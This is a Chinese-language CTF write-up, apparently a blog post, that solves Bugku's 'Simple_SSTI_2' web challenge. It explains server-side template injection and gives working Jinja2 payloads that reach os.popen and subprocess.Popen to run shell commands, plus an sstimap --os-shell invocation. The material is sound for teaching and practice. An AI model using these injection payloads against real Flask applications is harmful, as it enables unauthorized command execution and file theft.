欢迎光临
我们一直在努力

bugku-web-Simple_SSTI_2

一、题目描述

二、场景启动

三、解题思路

        1.首先打开靶场后发现就一句话“You need pass in a parameter named flag”,意思是“你需要传入一个名为 flag 的参数。”

        2.查看页面源代码发现没有其他有用信息

        3.那就看题目信息,题目说的是SSTI,那什么是SSTI呢?

SSTI 是 Server-Side Template Injection 的缩写,中文意思是服务端模板注入。

简单理解:

        这是一种安全漏洞。当网站后端使用模板引擎(如 Jinja2、Twig、Freemarker 等)渲染用户输入的内容时,如果没有对输入做严格的过滤,攻击者可以注入恶意的模板代码,导致服务器在渲染模板时执行这些代码。

通俗类比:

        想象你有一台能自动写信的机器。你告诉机器:"亲爱的{用户名}",它会自动填上用户名。

        如果你写:"亲爱的{{系统.删除所有文件()}}",而机器没有检查这句话就直接执行了——这就是 SSTI。

危害(攻击者能做什么)

  • 读取服务器文件(如 /etc/passwd、配置文件)

  • 执行系统命令(如 ls、whoami、反弹 shell)

  • 获取数据库连接信息

  • 提权、内网探测等

4.接下来就变成如何检测SSTI和利用SSTI

4.1 检测SSTI(判断是否存在漏洞)

基础数学表达式注入:

{{7*7}}
${7*7}
{{7*'7'}}
<%= 7*7 %>
{{7*7}}

对于本题而言:/?flag={{7*7}}

会返回49,但如果用其他表达式,则会原样返回,这里我就不列举了,感兴趣的可以自己试试

返回49说明存在SSTI漏洞,接下来查看配置{{config}}

这说明已经成功获取到了 Flask 应用的 Config 对象,证明SSTI 漏洞确实存在,而且你现在处于 Jinja2 模板引擎(Flask 默认)的环境中。(看不懂把输出内容复制喂给AI)

🔍 重要发现

'DEBUG': True # ⚠️ 调试模式开启,非常危险(生产环境应该为 False)
'SECRET_KEY': None # ❌ 没有设置 secret key,session 不安全

DEBUG=True 意味着:

  • 错误信息会非常详细,方便你进一步探测

  • 可能存在 Debug 工具栏或额外的路由(如 /_debug_)

  • 代码修改后会自动重载

四、三种解题方法

方法一、使用config全局变量法

路径:config → __class__ → __init__ → __globals__ → os → popen → read()

核心原理:Flask 模板默认向上下文中注入了 config、url_for、get_flashed_messages 等全局变量,通过这些变量可以访问到 Python 的 os 模块或 __builtins__。

第一步:确认config确实可访问,即有输出

第二步:查看config的所有属性

?flag={{config.__dict__}}

root_path作用:

root_path告诉的是应用代码的位置,而不是flag的位置,所以本题这个消息没什么用,如果想看输出的话,在后面第六步文件目录中有app.py文件,感兴趣的话可以cat app.py看看

第三步:查看config的类

?flag={{config.__class__}}

第四步:查看config的类的所有子类

?flag={{config.__class__.__subclasses__()}}

发现返回为空,说明Config类没有子类,那就获取类的初始化方法(这里省略了)

第五步:查看config类的初始化方法的全局变量(以字典的形式保存,所以只需要获取键就行)

?flag={{config.__class__.__init__.__globals__.keys()}}

第六步:看到有os模块,执行命令查看文件目录

/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

第七步:看到flag文件,读取文件

?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

  方法一小结:

                1、前五步都是为了找到包含os模块的全局命名空间字典,从而调用系统命令

                2、找子类目的:不是所有对象都能直接访问__globals__,需要找到某个函数的__globals__,继而找到包含os模块的类,而子类列表是获取函数/类最丰富的来源,方法一

因为 config.__class__.__init__ 直接得到了一个函数对象,函数对象有 __globals__ 属性,直接能拿到全局字典,这个字典里已经包含了 os,不需要绕路

方法二、__subclasses__() 遍历法(一般方法)

路径:'' → __class__ → __mro__[1] → __subclasses__() → [索引] → Popen

第一步:找到一个对象

在 Jinja2 模板中,最基本的对象是空字符串:

?flag={{''}}

页面返回为空

第二步:获取这个对象的类

?flag={{''.__class__}}

第三步:获取这个类的父类(基类)

?flag={{''.__class__.__mro__}}

第四步:获取object类

?flag={{''.__class__.__mro__[1]}}

第五步:获取object的所有子类

?flag={{''.__class__.__mro__[1].__subclasses__()}}

第六步:找到subprocess.Popen的索引

?flag={% for c in ''.__class__.__mro__[1].__subclasses__() %}{% if c.__name__ == 'Popen' %}{{ loop.index0 }}{% endif %}{% endfor %}

第七步:用 subprocess.Popen 执行命令查看目录

?flag={{''.__class__.__mro__[1].__subclasses__()[425]('ls', shell=True, stdout=-1).communicate()[0]}}

第八步:用 subprocess.Popen 执行命令打开flag

?flag={{''.__class__.__mro__[1].__subclasses__()[425]('cat flag', shell=True, stdout=-1).communicate()[0]}}

方法二小结:

        没有config现成的对象时,从基础对象开始层层向上,最终获取所有子类,找到subprocess.Popen类,subprocess.Popen 是一个可以直接执行系统命令的类,不需要依赖 os 模块或 __globals__。

方法三、SSTImap工具使用

# 直接扫描并尝试获取操作系统Shell
sstimap -u "http://靶场IP:端口/page?参数=*" –os-shell

命令执行成功后,会直接进入系统Shell,执行以下命令

# 查看当前目录下的文件
posix-linux $ ls -la

# 查看Web根目录
posix-linux $ ls /var/www/html

# 或者在系统各个路径下搜索名为 "flag" 的文件
posix-linux $ find / -name "*flag*" 2>/dev/null

# 找到后,用 cat 命令查看文件内容
posix-linux $ cat /path/to/flag.txt

这里因为我没有下载SSTImap,所以以上都是理论,在这里只是提供一个思路方法,kali2026.1+版本之后预安装有,之前的版本没有

赞(0)
未经允许不得转载:171主机测评 » bugku-web-Simple_SSTI_2
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址